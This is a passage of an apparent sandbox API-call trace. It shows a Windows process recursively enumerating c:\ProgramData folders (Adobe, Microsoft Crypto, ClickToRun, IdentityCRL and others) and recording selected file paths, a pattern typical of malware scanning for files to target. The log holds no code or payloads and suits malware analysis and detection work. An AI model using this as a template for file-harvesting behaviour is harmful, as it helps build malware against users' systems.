(x86)\\Windows Sidebar\\sidebar.exe" [0030.122] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0030.122] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned 49 [0030.122] lstrcpyW (in: lpString1=0x464d38, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0030.122] lstrcatW (in: lpString1="c:\\", lpString2="ProgramData" | out: lpString1="c:\\ProgramData") returned="c:\\ProgramData" [0030.122] lstrcatW (in: lpString1="c:\\ProgramData", lpString2="\\" | out: lpString1="c:\\ProgramData\\") returned="c:\\ProgramData\\" [0030.122] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0030.122] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="*" | out: lpString1="c:\\ProgramData\\*") returned="c:\\ProgramData\\*" [0030.122] FindFirstFileW (in: lpFileName="c:\\ProgramData\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0x7959e8 [0030.122] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Adobe" | out: lpString1="c:\\ProgramData\\Adobe") returned="c:\\ProgramData\\Adobe" [0030.122] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\") returned="c:\\ProgramData\\Adobe\\" [0030.122] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0030.122] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\*") returned="c:\\ProgramData\\Adobe\\*" [0030.122] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.167] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat") returned="c:\\ProgramData\\Adobe\\Acrobat" [0030.167] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\") returned="c:\\ProgramData\\Adobe\\Acrobat\\" [0030.167] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0030.168] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\*") returned="c:\\ProgramData\\Adobe\\Acrobat\\*" [0030.168] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.168] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="10.0" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="c:\\ProgramData\\Adobe\\Acrobat\\10.0" [0030.168] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\ProgramData\\Adobe\\ARM") returned="c:\\ProgramData\\Adobe\\ARM" [0030.168] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\") returned="c:\\ProgramData\\Adobe\\ARM\\" [0030.168] lstrlenW (lpString="c:\\ProgramData\\Adobe\\ARM\\") returned 25 [0030.168] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\*") returned="c:\\ProgramData\\Adobe\\ARM\\*" [0030.168] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.169] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\ARM\\", lpString2="Reader_10.0.0" | out: lpString1="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="c:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0030.169] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Application Data" | out: lpString1="c:\\ProgramData\\Application Data") returned="c:\\ProgramData\\Application Data" [0030.169] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data", lpString2="\\" | out: lpString1="c:\\ProgramData\\Application Data\\") returned="c:\\ProgramData\\Application Data\\" [0030.169] lstrlenW (lpString="c:\\ProgramData\\Application Data\\") returned 32 [0030.169] lstrcatW (in: lpString1="c:\\ProgramData\\Application Data\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Application Data\\*") returned="c:\\ProgramData\\Application Data\\*" [0030.169] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Application Data\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0xffffffff [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Desktop" | out: lpString1="c:\\ProgramData\\Desktop") returned="c:\\ProgramData\\Desktop" [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop", lpString2="\\" | out: lpString1="c:\\ProgramData\\Desktop\\") returned="c:\\ProgramData\\Desktop\\" [0030.171] lstrlenW (lpString="c:\\ProgramData\\Desktop\\") returned 23 [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\Desktop\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Desktop\\*") returned="c:\\ProgramData\\Desktop\\*" [0030.171] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Desktop\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0xffffffff [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Documents" | out: lpString1="c:\\ProgramData\\Documents") returned="c:\\ProgramData\\Documents" [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\Documents", lpString2="\\" | out: lpString1="c:\\ProgramData\\Documents\\") returned="c:\\ProgramData\\Documents\\" [0030.171] lstrlenW (lpString="c:\\ProgramData\\Documents\\") returned 25 [0030.171] lstrcatW (in: lpString1="c:\\ProgramData\\Documents\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Documents\\*") returned="c:\\ProgramData\\Documents\\*" [0030.171] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Documents\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0xffffffff [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Favorites" | out: lpString1="c:\\ProgramData\\Favorites") returned="c:\\ProgramData\\Favorites" [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites", lpString2="\\" | out: lpString1="c:\\ProgramData\\Favorites\\") returned="c:\\ProgramData\\Favorites\\" [0030.172] lstrlenW (lpString="c:\\ProgramData\\Favorites\\") returned 25 [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Favorites\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Favorites\\*") returned="c:\\ProgramData\\Favorites\\*" [0030.172] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Favorites\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0xffffffff [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft" | out: lpString1="c:\\ProgramData\\Microsoft") returned="c:\\ProgramData\\Microsoft" [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\") returned="c:\\ProgramData\\Microsoft\\" [0030.172] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\*") returned="c:\\ProgramData\\Microsoft\\*" [0030.172] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Assistance" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance") returned="c:\\ProgramData\\Microsoft\\Assistance" [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\") returned="c:\\ProgramData\\Microsoft\\Assistance\\" [0030.172] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Assistance\\") returned 36 [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\*") returned="c:\\ProgramData\\Microsoft\\Assistance\\*" [0030.172] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.172] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\", lpString2="Client" | out: lpString1="c:\\ProgramData\\Microsoft\\Assistance\\Client") returned="c:\\ProgramData\\Microsoft\\Assistance\\Client" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="ClickToRun" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun") returned="c:\\ProgramData\\Microsoft\\ClickToRun" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\" [0030.173] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\") returned 36 [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\*") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\*" [0030.173] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\23A8C7B1-0195-4D07-B6CF-93A6BF126B2A" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ADF651D2-0955-41AF-92E7-FAF4B0CAEB96" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\B67F2A9E-0258-4BAE-8ED4-AFE18C0C9A23" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\D3BE4D83-2D47-4B3D-97F1-5483AB9ADC5C" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0030.173] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned 58 [0030.173] lstrcpyW (in: lpString1=0x466440, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0030.173] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned 58 [0030.173] lstrcpyW (in: lpString1=0x4664c0, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0030.173] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned 58 [0030.173] lstrcpyW (in: lpString1=0x466540, lpString2="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0030.173] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="FCE80778-F5A2-48B5-BF04-93D6E887CBA7" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\FCE80778-F5A2-48B5-BF04-93D6E887CBA7" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="MachineData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="ProductReleases" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="UserData" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\UserData" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="c:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Crypto" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto") returned="c:\\ProgramData\\Microsoft\\Crypto" [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\") returned="c:\\ProgramData\\Microsoft\\Crypto\\" [0030.174] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0030.174] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\*") returned="c:\\ProgramData\\Microsoft\\Crypto\\*" [0030.174] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="DSS" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="c:\\ProgramData\\Microsoft\\Crypto\\DSS" [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="Keys" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="c:\\ProgramData\\Microsoft\\Crypto\\Keys" [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="c:\\ProgramData\\Microsoft\\Crypto\\RSA" [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage") returned="c:\\ProgramData\\Microsoft\\Device Stage" [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\") returned="c:\\ProgramData\\Microsoft\\Device Stage\\" [0030.177] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0030.177] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\*") returned="c:\\ProgramData\\Microsoft\\Device Stage\\*" [0030.177] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.181] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Device" [0030.182] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Task" [0030.182] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync") returned="c:\\ProgramData\\Microsoft\\DeviceSync" [0030.182] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\" [0030.182] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned 36 [0030.182] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\*" [0030.182] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.189] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM") returned="c:\\ProgramData\\Microsoft\\DRM" [0030.189] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\") returned="c:\\ProgramData\\Microsoft\\DRM\\" [0030.189] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0030.189] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\*") returned="c:\\ProgramData\\Microsoft\\DRM\\*" [0030.189] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\Server") returned="c:\\ProgramData\\Microsoft\\DRM\\Server" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome") returned="c:\\ProgramData\\Microsoft\\eHome" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\") returned="c:\\ProgramData\\Microsoft\\eHome\\" [0030.190] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\*") returned="c:\\ProgramData\\Microsoft\\eHome\\*" [0030.190] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\logs") returned="c:\\ProgramData\\Microsoft\\eHome\\logs" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer") returned="c:\\ProgramData\\Microsoft\\Event Viewer" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\" [0030.190] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\*" [0030.190] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL") returned="c:\\ProgramData\\Microsoft\\IdentityCRL" [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\" [0030.190] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0030.190] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0030.190] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0030.191] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 52 [0030.191] lstrcpyW (in: lpString1=0x460ee8, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0030.191] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 48 [0030.191] lstrcpyW (in: lpString1=0x464da8, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player") returned="c:\\ProgramData\\Microsoft\\Media Player" [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\") returned="c:\\ProgramData\\Microsoft\\Media Player\\" [0030.191] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Media Player\\") returned 38 [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\*") returned="c:\\ProgramData\\Microsoft\\Media Player\\*" [0030.191] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.191] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\ProgramData\\Microsoft\\MF") returned="c:\\ProgramData\\Microsoft\\MF" [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\") returned="c:\\ProgramData\\Microsoft\\MF\\" [0030.192] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\*") returned="c:\\ProgramData\\Microsoft\\MF\\*" [0030.192] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0030.192] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 38 [0030.192] lstrcpyW (in: lpString1=0x468e88, lpString2="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0030.192] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 39 [0030.192] lstrcpyW (in: lpString1=0x468ee0, lpString2="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework") returned="c:\\ProgramData\\Microsoft\\NetFramework" [0030.192] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\") returned="c:\\ProgramData\\Microsoft\\NetFramework\\" [0030.192] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0030.192] lstrcatW (in: 